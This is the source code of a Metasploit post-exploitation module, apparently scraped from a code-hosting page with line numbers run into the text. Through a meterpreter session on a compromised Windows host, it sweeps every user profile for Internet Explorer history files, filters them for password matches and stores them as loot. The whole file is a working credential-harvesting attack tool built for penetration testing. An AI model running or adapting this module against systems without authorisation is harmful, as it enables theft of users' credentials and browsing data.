Path: blob/master/modules/post/windows/gather/credentials/ie.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::Windows::Packrat9ARTIFACTS =10{11application: 'IE',12app_category: 'browsers',13gatherable_artifacts: [14{15filetypes: 'web_history',16path: 'LocalSettings',17dir: 'History',18artifact_file_name: 'index.dat',19description: 'IE history',20credential_type: 'dat'21}22]23}.freeze2425def initialize(info = {})26super(27update_info(28info,29'Name' => 'Internet Explorer Credential Gatherer',30'Description' => %q{31This module searches for Internet Explorer credentials on a Windows host.32},33'License' => MSF_LICENSE,34'Author' => [35'Kazuyoshi Maruta',36'Daniel Hallsworth',37'Barwar Salim M',38'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org39],40'Platform' => ['win'],41'SessionTypes' => ['meterpreter'],42'Notes' => {43'Stability' => [CRASH_SAFE],44'Reliability' => [],45'SideEffects' => []46}47)48)4950register_options(51[52OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),53OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),54OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),55# enumerates the options based on the artifacts that are defined below56OptEnum.new('ARTIFACTS', [57false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|58k[:filetypes]59end.uniq.unshift('All')60])61]62)63end6465def run66print_status('Filtering based on these selections: ')67print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")68print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")69print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")7071# used to grab files for each user on the remote host72grab_user_profiles.each do |userprofile|73run_packrat(userprofile, ARTIFACTS)74end7576print_status 'PackRat credential sweep completed'77end78end798081